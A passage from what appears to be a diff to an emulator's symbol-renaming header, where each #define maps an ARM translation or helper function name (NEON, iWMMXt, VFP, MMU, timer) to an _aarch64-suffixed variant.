gen_neon_bsl_aarch64 +#define gen_neon_dup_high16 gen_neon_dup_high16_aarch64 +#define gen_neon_dup_low16 gen_neon_dup_low16_aarch64 +#define gen_neon_dup_u8 gen_neon_dup_u8_aarch64 +#define gen_neon_mull gen_neon_mull_aarch64 +#define gen_neon_narrow gen_neon_narrow_aarch64 +#define gen_neon_narrow_op gen_neon_narrow_op_aarch64 +#define gen_neon_narrow_sats gen_neon_narrow_sats_aarch64 +#define gen_neon_narrow_satu gen_neon_narrow_satu_aarch64 +#define gen_neon_negl gen_neon_negl_aarch64 +#define gen_neon_rsb gen_neon_rsb_aarch64 +#define gen_neon_shift_narrow gen_neon_shift_narrow_aarch64 +#define gen_neon_subl gen_neon_subl_aarch64 +#define gen_neon_trn_u16 gen_neon_trn_u16_aarch64 +#define gen_neon_trn_u8 gen_neon_trn_u8_aarch64 +#define gen_neon_unarrow_sats gen_neon_unarrow_sats_aarch64 +#define gen_neon_unzip gen_neon_unzip_aarch64 +#define gen_neon_widen gen_neon_widen_aarch64 +#define gen_neon_zip gen_neon_zip_aarch64 +#define gen_new_label gen_new_label_aarch64 +#define gen_nop_hint gen_nop_hint_aarch64 +#define gen_op_iwmmxt_addl_M0_wRn gen_op_iwmmxt_addl_M0_wRn_aarch64 +#define gen_op_iwmmxt_addnb_M0_wRn gen_op_iwmmxt_addnb_M0_wRn_aarch64 +#define gen_op_iwmmxt_addnl_M0_wRn gen_op_iwmmxt_addnl_M0_wRn_aarch64 +#define gen_op_iwmmxt_addnw_M0_wRn gen_op_iwmmxt_addnw_M0_wRn_aarch64 +#define gen_op_iwmmxt_addsb_M0_wRn gen_op_iwmmxt_addsb_M0_wRn_aarch64 +#define gen_op_iwmmxt_addsl_M0_wRn gen_op_iwmmxt_addsl_M0_wRn_aarch64 +#define gen_op_iwmmxt_addsw_M0_wRn gen_op_iwmmxt_addsw_M0_wRn_aarch64 +#define gen_op_iwmmxt_addub_M0_wRn gen_op_iwmmxt_addub_M0_wRn_aarch64 +#define gen_op_iwmmxt_addul_M0_wRn gen_op_iwmmxt_addul_M0_wRn_aarch64 +#define gen_op_iwmmxt_adduw_M0_wRn gen_op_iwmmxt_adduw_M0_wRn_aarch64 +#define gen_op_iwmmxt_andq_M0_wRn gen_op_iwmmxt_andq_M0_wRn_aarch64 +#define gen_op_iwmmxt_avgb0_M0_wRn gen_op_iwmmxt_avgb0_M0_wRn_aarch64 +#define gen_op_iwmmxt_avgb1_M0_wRn gen_op_iwmmxt_avgb1_M0_wRn_aarch64 +#define gen_op_iwmmxt_avgw0_M0_wRn gen_op_iwmmxt_avgw0_M0_wRn_aarch64 +#define gen_op_iwmmxt_avgw1_M0_wRn gen_op_iwmmxt_avgw1_M0_wRn_aarch64 +#define gen_op_iwmmxt_cmpeqb_M0_wRn gen_op_iwmmxt_cmpeqb_M0_wRn_aarch64 +#define gen_op_iwmmxt_cmpeql_M0_wRn gen_op_iwmmxt_cmpeql_M0_wRn_aarch64 +#define gen_op_iwmmxt_cmpeqw_M0_wRn gen_op_iwmmxt_cmpeqw_M0_wRn_aarch64 +#define gen_op_iwmmxt_cmpgtsb_M0_wRn gen_op_iwmmxt_cmpgtsb_M0_wRn_aarch64 +#define gen_op_iwmmxt_cmpgtsl_M0_wRn gen_op_iwmmxt_cmpgtsl_M0_wRn_aarch64 +#define gen_op_iwmmxt_cmpgtsw_M0_wRn gen_op_iwmmxt_cmpgtsw_M0_wRn_aarch64 +#define gen_op_iwmmxt_cmpgtub_M0_wRn gen_op_iwmmxt_cmpgtub_M0_wRn_aarch64 +#define gen_op_iwmmxt_cmpgtul_M0_wRn gen_op_iwmmxt_cmpgtul_M0_wRn_aarch64 +#define gen_op_iwmmxt_cmpgtuw_M0_wRn gen_op_iwmmxt_cmpgtuw_M0_wRn_aarch64 +#define gen_op_iwmmxt_macsw_M0_wRn gen_op_iwmmxt_macsw_M0_wRn_aarch64 +#define gen_op_iwmmxt_macuw_M0_wRn gen_op_iwmmxt_macuw_M0_wRn_aarch64 +#define gen_op_iwmmxt_maddsq_M0_wRn gen_op_iwmmxt_maddsq_M0_wRn_aarch64 +#define gen_op_iwmmxt_madduq_M0_wRn gen_op_iwmmxt_madduq_M0_wRn_aarch64 +#define gen_op_iwmmxt_maxsb_M0_wRn gen_op_iwmmxt_maxsb_M0_wRn_aarch64 +#define gen_op_iwmmxt_maxsl_M0_wRn gen_op_iwmmxt_maxsl_M0_wRn_aarch64 +#define gen_op_iwmmxt_maxsw_M0_wRn gen_op_iwmmxt_maxsw_M0_wRn_aarch64 +#define gen_op_iwmmxt_maxub_M0_wRn gen_op_iwmmxt_maxub_M0_wRn_aarch64 +#define gen_op_iwmmxt_maxul_M0_wRn gen_op_iwmmxt_maxul_M0_wRn_aarch64 +#define gen_op_iwmmxt_maxuw_M0_wRn gen_op_iwmmxt_maxuw_M0_wRn_aarch64 +#define gen_op_iwmmxt_minsb_M0_wRn gen_op_iwmmxt_minsb_M0_wRn_aarch64 +#define gen_op_iwmmxt_minsl_M0_wRn gen_op_iwmmxt_minsl_M0_wRn_aarch64 +#define gen_op_iwmmxt_minsw_M0_wRn gen_op_iwmmxt_minsw_M0_wRn_aarch64 +#define gen_op_iwmmxt_minub_M0_wRn gen_op_iwmmxt_minub_M0_wRn_aarch64 +#define gen_op_iwmmxt_minul_M0_wRn gen_op_iwmmxt_minul_M0_wRn_aarch64 +#define gen_op_iwmmxt_minuw_M0_wRn gen_op_iwmmxt_minuw_M0_wRn_aarch64 +#define gen_op_iwmmxt_movq_M0_wRn gen_op_iwmmxt_movq_M0_wRn_aarch64 +#define gen_op_iwmmxt_movq_wRn_M0 gen_op_iwmmxt_movq_wRn_M0_aarch64 +#define gen_op_iwmmxt_mulshw_M0_wRn gen_op_iwmmxt_mulshw_M0_wRn_aarch64 +#define gen_op_iwmmxt_mulslw_M0_wRn gen_op_iwmmxt_mulslw_M0_wRn_aarch64 +#define gen_op_iwmmxt_muluhw_M0_wRn gen_op_iwmmxt_muluhw_M0_wRn_aarch64 +#define gen_op_iwmmxt_mululw_M0_wRn gen_op_iwmmxt_mululw_M0_wRn_aarch64 +#define gen_op_iwmmxt_orq_M0_wRn gen_op_iwmmxt_orq_M0_wRn_aarch64 +#define gen_op_iwmmxt_packsl_M0_wRn gen_op_iwmmxt_packsl_M0_wRn_aarch64 +#define gen_op_iwmmxt_packsq_M0_wRn gen_op_iwmmxt_packsq_M0_wRn_aarch64 +#define gen_op_iwmmxt_packsw_M0_wRn gen_op_iwmmxt_packsw_M0_wRn_aarch64 +#define gen_op_iwmmxt_packul_M0_wRn gen_op_iwmmxt_packul_M0_wRn_aarch64 +#define gen_op_iwmmxt_packuq_M0_wRn gen_op_iwmmxt_packuq_M0_wRn_aarch64 +#define gen_op_iwmmxt_packuw_M0_wRn gen_op_iwmmxt_packuw_M0_wRn_aarch64 +#define gen_op_iwmmxt_sadb_M0_wRn gen_op_iwmmxt_sadb_M0_wRn_aarch64 +#define gen_op_iwmmxt_sadw_M0_wRn gen_op_iwmmxt_sadw_M0_wRn_aarch64 +#define gen_op_iwmmxt_set_cup gen_op_iwmmxt_set_cup_aarch64 +#define gen_op_iwmmxt_set_mup gen_op_iwmmxt_set_mup_aarch64 +#define gen_op_iwmmxt_setpsr_nz gen_op_iwmmxt_setpsr_nz_aarch64 +#define gen_op_iwmmxt_subnb_M0_wRn gen_op_iwmmxt_subnb_M0_wRn_aarch64 +#define gen_op_iwmmxt_subnl_M0_wRn gen_op_iwmmxt_subnl_M0_wRn_aarch64 +#define gen_op_iwmmxt_subnw_M0_wRn gen_op_iwmmxt_subnw_M0_wRn_aarch64 +#define gen_op_iwmmxt_subsb_M0_wRn gen_op_iwmmxt_subsb_M0_wRn_aarch64 +#define gen_op_iwmmxt_subsl_M0_wRn gen_op_iwmmxt_subsl_M0_wRn_aarch64 +#define gen_op_iwmmxt_subsw_M0_wRn gen_op_iwmmxt_subsw_M0_wRn_aarch64 +#define gen_op_iwmmxt_subub_M0_wRn gen_op_iwmmxt_subub_M0_wRn_aarch64 +#define gen_op_iwmmxt_subul_M0_wRn gen_op_iwmmxt_subul_M0_wRn_aarch64 +#define gen_op_iwmmxt_subuw_M0_wRn gen_op_iwmmxt_subuw_M0_wRn_aarch64 +#define gen_op_iwmmxt_unpackhb_M0_wRn gen_op_iwmmxt_unpackhb_M0_wRn_aarch64 +#define gen_op_iwmmxt_unpackhl_M0_wRn gen_op_iwmmxt_unpackhl_M0_wRn_aarch64 +#define gen_op_iwmmxt_unpackhsb_M0 gen_op_iwmmxt_unpackhsb_M0_aarch64 +#define gen_op_iwmmxt_unpackhsl_M0 gen_op_iwmmxt_unpackhsl_M0_aarch64 +#define gen_op_iwmmxt_unpackhsw_M0 gen_op_iwmmxt_unpackhsw_M0_aarch64 +#define gen_op_iwmmxt_unpackhub_M0 gen_op_iwmmxt_unpackhub_M0_aarch64 +#define gen_op_iwmmxt_unpackhul_M0 gen_op_iwmmxt_unpackhul_M0_aarch64 +#define gen_op_iwmmxt_unpackhuw_M0 gen_op_iwmmxt_unpackhuw_M0_aarch64 +#define gen_op_iwmmxt_unpackhw_M0_wRn gen_op_iwmmxt_unpackhw_M0_wRn_aarch64 +#define gen_op_iwmmxt_unpacklb_M0_wRn gen_op_iwmmxt_unpacklb_M0_wRn_aarch64 +#define gen_op_iwmmxt_unpackll_M0_wRn gen_op_iwmmxt_unpackll_M0_wRn_aarch64 +#define gen_op_iwmmxt_unpacklsb_M0 gen_op_iwmmxt_unpacklsb_M0_aarch64 +#define gen_op_iwmmxt_unpacklsl_M0 gen_op_iwmmxt_unpacklsl_M0_aarch64 +#define gen_op_iwmmxt_unpacklsw_M0 gen_op_iwmmxt_unpacklsw_M0_aarch64 +#define gen_op_iwmmxt_unpacklub_M0 gen_op_iwmmxt_unpacklub_M0_aarch64 +#define gen_op_iwmmxt_unpacklul_M0 gen_op_iwmmxt_unpacklul_M0_aarch64 +#define gen_op_iwmmxt_unpackluw_M0 gen_op_iwmmxt_unpackluw_M0_aarch64 +#define gen_op_iwmmxt_unpacklw_M0_wRn gen_op_iwmmxt_unpacklw_M0_wRn_aarch64 +#define gen_op_iwmmxt_xorq_M0_wRn gen_op_iwmmxt_xorq_M0_wRn_aarch64 +#define gen_rev16 gen_rev16_aarch64 +#define gen_revsh gen_revsh_aarch64 +#define gen_rfe gen_rfe_aarch64 +#define gen_sar gen_sar_aarch64 +#define gen_sbc_CC gen_sbc_CC_aarch64 +#define gen_sbfx gen_sbfx_aarch64 +#define gen_set_CF_bit31 gen_set_CF_bit31_aarch64 +#define gen_set_condexec gen_set_condexec_aarch64 +#define gen_set_cpsr gen_set_cpsr_aarch64 +#define gen_set_label gen_set_label_aarch64 +#define gen_set_pc_im gen_set_pc_im_aarch64 +#define gen_set_psr gen_set_psr_aarch64 +#define gen_set_psr_im gen_set_psr_im_aarch64 +#define gen_shl gen_shl_aarch64 +#define gen_shr gen_shr_aarch64 +#define gen_smc gen_smc_aarch64 +#define gen_smul_dual gen_smul_dual_aarch64 +#define gen_srs gen_srs_aarch64 +#define gen_ss_advance gen_ss_advance_aarch64 +#define gen_step_complete_exception gen_step_complete_exception_aarch64 +#define gen_store_exclusive gen_store_exclusive_aarch64 +#define gen_storeq_reg gen_storeq_reg_aarch64 +#define gen_sub_carry gen_sub_carry_aarch64 +#define gen_sub_CC gen_sub_CC_aarch64 +#define gen_subq_msw gen_subq_msw_aarch64 +#define gen_swap_half gen_swap_half_aarch64 +#define gen_thumb2_data_op gen_thumb2_data_op_aarch64 +#define gen_thumb2_parallel_addsub gen_thumb2_parallel_addsub_aarch64 +#define gen_ubfx gen_ubfx_aarch64 +#define gen_vfp_abs gen_vfp_abs_aarch64 +#define gen_vfp_add gen_vfp_add_aarch64 +#define gen_vfp_cmp gen_vfp_cmp_aarch64 +#define gen_vfp_cmpe gen_vfp_cmpe_aarch64 +#define gen_vfp_div gen_vfp_div_aarch64 +#define gen_vfp_F1_ld0 gen_vfp_F1_ld0_aarch64 +#define gen_vfp_F1_mul gen_vfp_F1_mul_aarch64 +#define gen_vfp_F1_neg gen_vfp_F1_neg_aarch64 +#define gen_vfp_ld gen_vfp_ld_aarch64 +#define gen_vfp_mrs gen_vfp_mrs_aarch64 +#define gen_vfp_msr gen_vfp_msr_aarch64 +#define gen_vfp_mul gen_vfp_mul_aarch64 +#define gen_vfp_neg gen_vfp_neg_aarch64 +#define gen_vfp_shto gen_vfp_shto_aarch64 +#define gen_vfp_sito gen_vfp_sito_aarch64 +#define gen_vfp_slto gen_vfp_slto_aarch64 +#define gen_vfp_sqrt gen_vfp_sqrt_aarch64 +#define gen_vfp_st gen_vfp_st_aarch64 +#define gen_vfp_sub gen_vfp_sub_aarch64 +#define gen_vfp_tosh gen_vfp_tosh_aarch64 +#define gen_vfp_tosi gen_vfp_tosi_aarch64 +#define gen_vfp_tosiz gen_vfp_tosiz_aarch64 +#define gen_vfp_tosl gen_vfp_tosl_aarch64 +#define gen_vfp_touh gen_vfp_touh_aarch64 +#define gen_vfp_toui gen_vfp_toui_aarch64 +#define gen_vfp_touiz gen_vfp_touiz_aarch64 +#define gen_vfp_toul gen_vfp_toul_aarch64 +#define gen_vfp_uhto gen_vfp_uhto_aarch64 +#define gen_vfp_uito gen_vfp_uito_aarch64 +#define gen_vfp_ulto gen_vfp_ulto_aarch64 +#define get_arm_cp_reginfo get_arm_cp_reginfo_aarch64 +#define get_clock get_clock_aarch64 +#define get_clock_realtime get_clock_realtime_aarch64 +#define get_constraint_priority get_constraint_priority_aarch64 +#define get_float_exception_flags get_float_exception_flags_aarch64 +#define get_float_rounding_mode get_float_rounding_mode_aarch64 +#define get_fpstatus_ptr get_fpstatus_ptr_aarch64 +#define get_level1_table_address get_level1_table_address_aarch64 +#define get_mem_index get_mem_index_aarch64 +#define get_next_param_value get_next_param_value_aarch64 +#define get_opt_name get_opt_name_aarch64 +#define get_opt_value get_opt_value_aarch64 +#define get_page_addr_code get_page_addr_code_aarch64 +#define get_param_value get_param_value_aarch64 +#define get_phys_addr get_phys_addr_aarch64 +#define get_phys_addr_lpae get_phys_addr_lpae_aarch64 +#define get_phys_addr_mpu get_phys_addr_mpu_aarch64 +#define get_phys_addr_v5 get_phys_addr_v5_aarch64 +#define get_phys_addr_v6 get_phys_addr_v6_aarch64 +#define get_system_memory get_system_memory_aarch64 +#define get_ticks_per_sec get_ticks_per_sec_aarch64 +#define g_list_insert_sorted_merged g_list_insert_sorted_merged_aarch64 +#define _GLOBAL_OFFSET_TABLE_ _GLOBAL_OFFSET_TABLE__aarch64 +#define gt_cntfrq_access gt_cntfrq_access_aarch64 +#define gt_cnt_read gt_cnt_read_aarch64 +#define gt_cnt_reset gt_cnt_reset_aarch64 +#define gt_counter_access gt_counter_access_aarch64 +#define gt_ctl_write gt_ctl_write_aarch64 +#define gt_cval_write gt_cval_write_aarch64 +#define gt_get_countervalue gt_get_countervalue_aarch64 +#define gt_pct_access gt_pct_access_aarch64 +#define gt_ptimer_access gt_ptimer_access_aarch64 +#define gt_recalc_timer gt_recalc_timer_aarch64 +#define gt_timer_access gt_timer_access_aarch64 +#define gt_tval_read gt_tval_read_aarch64 +#define gt_tval_write gt_tval_write_aarch64 +#define gt_vct_access gt_vct_access_aarch64 +#define gt_vtimer_access gt_vtimer_access_aarch64 +#define guest_phys_blocks_free guest_phys_blocks_free_aarch64 +#define guest_phys_blocks_init guest_phys_blocks_init_aarch64 +#define handle_vcvt handle_vcvt_aarch64 +#define handle_vminmaxnm handle_vminmaxnm_aarch64 +#define handle_vrint handle_vrint_aarch64 +#define handle_vsel handle_vsel_aarch64 +#define has_help_option has_help_option_aarch64 +#define have_bmi1 have_bmi1_aarch64 +#define have_bmi2 have_bmi2_aarch64 +#define hcr_write hcr_write_aarch64 +#define helper_access_check_cp_reg helper_access_check_cp_reg_aarch64 +#define helper_add_saturate helper_add_saturate_aarch64 +#define helper_add_setq helper_add_setq_aarch64 +#define helper_add_usaturate helper_add_usaturate_aarch64 +#define helper_be_ldl_cmmu helper_be_ldl_cmmu_aarch64 +#define helper_be_ldq_cmmu helper_be_ldq_cmmu_aarch64 +#define helper_be_ldq_mmu helper_be_ldq_mmu_aarch64 +#define helper_be_ldsl_mmu helper_be_ldsl_mmu_aarch64 +#define helper_be_ldsw_mmu helper_be_ldsw_mmu_aarch64 +#define helper_be_ldul_mmu helper_be_ldul_mmu_aarch64 +#define helper_be_lduw_mmu helper_be_lduw_mmu_aarch64 +#define helper_be_ldw_cmmu helper_be_ldw_cmmu_aarch64 +#define helper_be_stl_mmu helper_be_stl_mmu_aarch64 +#define helper_be_stq_mmu helper_be_stq_mmu_aarch64 +#define helper_be_stw_mmu helper_be_stw_mmu_aarch64 +#define helper_clear_pstate_ss helper_clear_pstate_ss_aarch64 +#define helper_clz_arm helper_clz_arm_aarch64 +#define helper_cpsr_read helper_cpsr_read_aarch64 +#define helper_cpsr_write helper_cpsr_write_aarch64 +#define helper_crc32_arm helper_crc32_arm_aarch64 +#define helper_crc32c helper_crc32c_aarch64 +#define helper_crypto_aese helper_crypto_aese_aarch64 +#define helper_crypto_aesmc helper_crypto_aesmc_aarch64 +#define helper_crypto_sha1_3reg helper_crypto_sha1_3reg_aarch64 +#define helper_crypto_sha1h helper_crypto_sha1h_aarch64 +#define helper_crypto_sha1su1 helper_crypto_sha1su1_aarch64 +#define helper_crypto_sha256h helper_crypto_sha256h_aarch64 +#define helper_crypto_sha256h2 helper_crypto_sha256h2_aarch64 +#define helper_crypto_sha256su0 helper_crypto_sha256su0_aarch64 +#define helper_crypto_sha256su1 helper_crypto_sha256su1_aarch64 +#define helper_dc_zva helper_dc_zva_aarch64 +#define helper_double_saturate helper_double_saturate_aarch64 +#define helper_exception_internal helper_exception_internal_aarch64 +#define helper_exception_return helper_exception_return_aarch64 +#define helper_exception_with_syndrome helper_exception_with_syndrome_aarch64 +#define helper_get_cp_reg helper_get_cp_reg_aarch64 +#define helper_get_cp_reg64 helper_get_cp_reg64_aarch64 +#define helper_get_r13_banked helper_get_r13_banked_aarch64 +#define helper_get_user_reg helper_get_user_reg_aarch64 +#define helper_iwmmxt_addcb helper_iwmmxt_addcb_aarch64 +#define helper_iwmmxt_addcl helper_iwmmxt_addcl_aarch64 +#define helper_iwmmxt_addcw helper_iwmmxt_addcw_aarch64 +#define helper_iwmmxt_addnb helper_iwmmxt_addnb_aarch64 +#define helper_iwmmxt_addnl helper_iwmmxt_addnl_aarch64 +#define helper_iwmmxt_addnw helper_iwmmxt_addnw_aarch64 +#define helper_iwmmxt_addsb helper_iwmmxt_addsb_aarch64 +#define helper_iwmmxt_addsl helper_iwmmxt_addsl_aarch64 +#define helper_iwmmxt_addsw helper_iwmmxt_addsw_aarch64 +#define helper_iwmmxt_addub helper_iwmmxt_addub_aarch64 +#define helper_iwmmxt_addul helper_iwmmxt_addul_aarch64 +#define helper_iwmmxt_adduw helper_iwmmxt_adduw_aarch64 +#define helper_iwmmxt_align helper_iwmmxt_align_aarch64 +#define helper_iwmmxt_avgb0 helper_iwmmxt_avgb0_aarch64 +#define helper_iwmmxt_avgb1 helper_iwmmxt_avgb1_aarch64 +#define helper_iwmmxt_avgw0 helper_iwmmxt_avgw0_aarch64 +#define helper_iwmmxt_avgw1 helper_iwmmxt_avgw1_aarch64 +#define helper_iwmmxt_bcstb helper_iwmmxt_bcstb_aarch64 +#define helper_iwmmxt_bcstl helper_iwmmxt_bcstl_aarch64 +#define helper_iwmmxt_bcstw helper_iwmmxt_bcstw_aarch64 +#define helper_iwmmxt_cmpeqb helper_iwmmxt_cmpeqb_aarch64 +#define helper_iwmmxt_cmpeql helper_iwmmxt_cmpeql_aarch64 +#define helper_iwmmxt_cmpeqw helper_iwmmxt_cmpeqw_aarch64 +#define helper_iwmmxt_cmpgtsb helper_iwmmxt_cmpgtsb_aarch64 +#define helper_iwmmxt_cmpgtsl helper_iwmmxt_cmpgtsl_aarch64 +#define helper_iwmmxt_cmpgtsw helper_iwmmxt_cmpgtsw_aarch64 +#define helper_iwmmxt_cmpgtub helper_iwmmxt_cmpgtub_aarch64 +#define helper_iwmmxt_cmpgtul helper_iwmmxt_cmpgtul_aarch64 +#define helper_iwmmxt_cmpgtuw helper_iwmmxt_cmpgtuw_aarch64 +#define helper_iwmmxt_insr helper_iwmmxt_insr_aarch64 +#define helper_iwmmxt_macsw helper_iwmmxt_macsw_aarch64 +#define helper_iwmmxt_macuw helper_iwmmxt_macuw_aarch64 +#define helper_iwmmxt_maddsq helper_iwmmxt_maddsq_aarch64 +#define helper_iwmmxt_madduq helper_iwmmxt_madduq_aarch64 +#define helper_iwmmxt_maxsb helper_iwmmxt_maxsb_aarch64 +#define helper_iwmmxt_maxsl helper_iwmmxt_maxsl_aarch64 +#define helper_iwmmxt_maxsw helper_iwmmxt_maxsw_aarch64 +#define helper_iwmmxt_maxub helper_iwmmxt_maxub_aarch64 +#define helper_iwmmxt_maxul helper_iwmmxt_maxul_aarch64 +#define helper_iwmmxt_maxuw helper_iwmmxt_maxuw_aarch64 +#define helper_iwmmxt_minsb helper_iwmmxt_minsb_aarch64 +#define helper_iwmmxt_minsl helper_iwmmxt_minsl_aarch64 +#define helper_iwmmxt_minsw helper_iwmmxt_minsw_aarch64 +#define helper_iwmmxt_minub helper_iwmmxt_minub_aarch64 +#define helper_iwmmxt_minul helper_iwmmxt_minul_aarch64 +#define helper_iwmmxt_minuw helper_iwmmxt_minuw_aarch64 +#define helper_iwmmxt_msbb helper_iwmmxt_msbb_aarch64 +#define helper_iwmmxt_msbl helper_iwmmxt_msbl_aarch64 +#define helper_iwmmxt_msbw helper_iwmmxt_msbw_aarch64 +#define helper_iwmmxt_muladdsl helper_iwmmxt_muladdsl_aarch64 +#define helper_iwmmxt_muladdsw helper_iwmmxt_muladdsw_aarch64 +#define helper_iwmmxt_muladdswl helper_iwmmxt_muladdswl_aarch64 +#define helper_iwmmxt_mulshw helper_iwmmxt_mulshw_aarch64 +#define helper_iwmmxt_mulslw helper_iwmmxt_mulslw_aarch64 +#define helper_iwmmxt_muluhw helper_iwmmxt_muluhw_aarch64 +#define helper_iwmmxt_mululw helper_iwmmxt_mululw_aarch64 +#define helper_iwmmxt_packsl helper_iwmmxt_packsl_aarch64 +#define helper_iwmmxt_packsq helper_iwmmxt_packsq_aarch64 +#define helper_iwmmxt_packsw helper_iwmmxt_packsw_aarch64 +#define helper_iwmmxt_packul helper_iwmmxt_packul_aarch64 +#define helper_iwmmxt_packuq helper_iwmmxt_packuq_aarch64 +#define helper_iwmmxt_packuw helper_iwmmxt_packuw_aarch64 +#define helper_iwmmxt_rorl helper_iwmmxt_rorl_aarch64 +#define helper_iwmmxt_rorq helper_iwmmxt_rorq_aarch64 +#define helper_iwmmxt_rorw helper_iwmmxt_rorw_aarch64 +#define helper_iwmmxt_sadb helper_iwmmxt_sadb_aarch64 +#define helper_iwmmxt_sadw helper_iwmmxt_sadw_aarch64 +#define helper_iwmmxt_setpsr_nz helper_iwmmxt_setpsr_nz_aarch64 +#define helper_iwmmxt_shufh helper_iwmmxt_shufh_aarch64 +#define helper_iwmmxt_slll helper_iwmmxt_slll_aarch64 +#define helper_iwmmxt_sllq helper_iwmmxt_sllq_aarch64 +#define helper_iwmmxt_sllw helper_iwmmxt_sllw_aarch64 +#define helper_iwmmxt_sral helper_iwmmxt_sral_aarch64 +#define helper_iwmmxt_sraq helper_iwmmxt_sraq_aarch64 +#define helper_iwmmxt_sraw helper_iwmmxt_sraw_aarch64 +#define helper_iwmmxt_srll helper_iwmmxt_srll_aarch64 +#define helper_iwmmxt_srlq helper_iwmmxt_srlq_aarch64 +#define helper_iwmmxt_srlw helper_iwmmxt_srlw_aarch64 +#define helper_iwmmxt_subnb helper_iwmmxt_subnb_aarch64 +#define helper_iwmmxt_subnl helper_iwmmxt_subnl_aarch64 +#define helper_iwmmxt_subnw helper_iwmmxt_subnw_aarch64 +#define helper_iwmmxt_subsb helper_iwmmxt_subsb_aarch64 +#define helper_iwmmxt_subsl helper_iwmmxt_subsl_aarch64 +#define helper_iwmmxt_subsw helper_iwmmxt_subsw_aarch64 +#define helper_iwmmxt_subub helper_iwmmxt_subub_aarch64 +#define helper_iwmmxt_subul helper_iwmmxt_subul_aarch64 +#define helper_iwmmxt_subuw helper_iwmmxt_subuw_aarch64 +#define helper_iwmmxt_unpackhb helper_iwmmxt_unpackhb_aarch64 +#define helper_iwmmxt_unpackhl helper_iwmmxt_unpackhl_aarch64 +#define helper_iwmmxt_unpackhsb helper_iwmmxt_unpackhsb_aarch64 +#define helper_iwmmxt_unpackhsl helper_iwmmxt_unpackhsl_aarch64 +#define helper_iwmmxt_unpackhsw helper_iwmmxt_unpackhsw_aarch64 +#define helper_iwmmxt_unpackhub helper_iwmmxt_unpackhub_aarch64 +#define helper_iwmmxt_unpackhul helper_iwmmxt_unpackhul_aarch64 +#define helper_iwmmxt_unpackhuw helper_iwmmxt_unpackhuw_aarch64 +#define helper_iwmmxt_unpackhw helper_iwmmxt_unpackhw_aarch64 +#define helper_iwmmxt_unpacklb helper_iwmmxt_unpacklb_aarch64 +#define helper_iwmmxt_unpackll helper_iwmmxt_unpackll_aarch64 +#define helper_iwmmxt_unpacklsb helper_iwmmxt_unpacklsb_aarch64 +#define helper_iwmmxt_unpacklsl helper_iwmmxt_unpacklsl_aarch64 +#define helper_iwmmxt_unpacklsw helper_iwmmxt_unpacklsw_aarch64 +#define helper_iwmmxt_unpacklub helper_iwmmxt_unpacklub_aarch64 +#define helper_iwmmxt_unpacklul helper_iwmmxt_unpacklul_aarch64 +#define helper_iwmmxt_unpackluw helper_iwmmxt_unpackluw_aarch64 +#define helper_iwmmxt_unpacklw helper_iwmmxt_unpacklw_aarch64 +#define helper_ldb_cmmu helper_ldb_cmmu_aarch64 +#define helper_ldb_mmu helper_ldb_mmu_aarch64 +#define helper_ldl_cmmu helper_ldl_cmmu_aarch64 +#define helper_ldl_mmu helper_ldl_mmu_aarch64 +#define helper_ldq_cmmu helper_ldq_cmmu_aarch64 +#define helper_ldq_mmu helper_ldq_mmu_aarch64 +#define helper_ldw_cmmu helper_ldw_cmmu_aarch64 +#define helper_ldw_mmu helper_ldw_mmu_aarch64 +#define helper_le_ldl_cmmu helper_le_ldl_cmmu_aarch64 +#define helper_le_ldq_cmmu helper_le_ldq_cmmu_aarch64 +#define helper_le_ldq_mmu helper_le_ldq_mmu_aarch64 +#define helper_le_ldsl_mmu helper_le_ldsl_mmu_aarch64 +#define helper_le_ldsw_mmu helper_le_ldsw_mmu_aarch64 +#define helper_le_ldul_mmu helper_le_ldul_mmu_aarch64 +#define helper_le_lduw_mmu helper_le_lduw_mmu_aarch64 +#define helper_le_ldw_cmmu helper_le_ldw_cmmu_aarch64 +#define helper_le_stl_mmu helper_le_stl_mmu_aarch64 +#define helper_le_stq_mmu helper_le_stq_mmu_aarch64 +#define helper_le_stw_mmu helper_le_stw_mmu_aarch64 +#define helper_msr_i_pstate helper_msr_i_pstate_aarch64 +#define helper_neon_abd_f32 helper_neon_abd_f32_aarch64 +#define helper_neon_abdl_s16 helper_neon_abdl_s16_aarch64 +#define helper_neon_abdl_s32 helper_neon_abdl_s32_aarch64 +#define helper_neon_abdl_s64 helper_neon_abdl_s64_aarch64 +#define helper_neon_abdl_u16 helper_neon_abdl_u16_aarch64 +#define helper_neon_abdl_u32 helper_neon_abdl_u32_aarch64 +#define helper_neon_abdl_u64 helper_neon_abdl_u64_aarch64 +#define helper_neon_abd_s16 helper_neon_abd_s16_aarch64 +#define helper_neon_abd_s32 helper_neon_abd_s32_aarch64 +#define helper_neon_abd_s8 helper_neon_abd_s8_aarch64 +#define helper_neon_abd_u16 helper_neon_abd_u16_aarch64 +#define helper_neon_abd_u32 helper_neon_abd_u32_aarch64 +#define helper_neon_abd_u8 helper_neon_abd_u8_aarch64 +#define helper_neon_abs_s16 helper_neon_abs_s16_aarch64 +#define helper_neon_abs_s8 helper_neon_abs_s8_aarch64 +#define helper_neon_acge_f32 helper_neon_acge_f32_aarch64 +#define helper_neon_acge_f64 helper_neon_acge_f64_aarch64 +#define helper_neon_acgt_f32 helper_neon_acgt_f32_aarch64 +#define helper_neon_acgt_f64 helper_neon_acgt_f64_aarch64 +#define helper_neon_addl_saturate_s32 helper_neon_addl_saturate_s32_aarch64 +#define helper_neon_addl_saturate_s64 helper_neon_addl_saturate_s64_aarch64 +#define helper_neon_addl_u16 helper_neon_addl_u16_aarch64 +#define helper_neon_addl_u32 helper_neon_addl_u32_aarch64 +#define helper_neon_add_u16 helper_neon_add_u16_aarch64 +#define helper_neon_add_u8 helper_neon_add_u8_aarch64 +#define helper_neon_ceq_f32 helper_neon_ceq_f32_aarch64 +#define helper_neon_ceq_u16 helper_neon_ceq_u16_aarch64 +#define helper_neon_ceq_u32 helper_neon_ceq_u32_aarch64 +#define helper_neon_ceq_u8 helper_neon_ceq_u8_aarch64 +#define helper_neon_cge_f32 helper_neon_cge_f32_aarch64 +#define helper_neon_cge_s16 helper_neon_cge_s16_aarch64 +#define helper_neon_cge_s32 helper_neon_cge_s32_aarch64 +#define helper_neon_cge_s8 helper_neon_cge_s8_aarch64 +#define helper_neon_cge_u16 helper_neon_cge_u16_aarch64 +#define helper_neon_cge_u32 helper_neon_cge_u32_aarch64 +#define helper_neon_cge_u8 helper_neon_cge_u8_aarch64 +#define helper_neon_cgt_f32 helper_neon_cgt_f32_aarch64 +#define helper_neon_cgt_s16 helper_neon_cgt_s16_aarch64 +#define helper_neon_cgt_s32 helper_neon_cgt_s32_aarch64 +#define helper_neon_cgt_s8 helper_neon_cgt_s8_aarch64 +#define helper_neon_cgt_u16 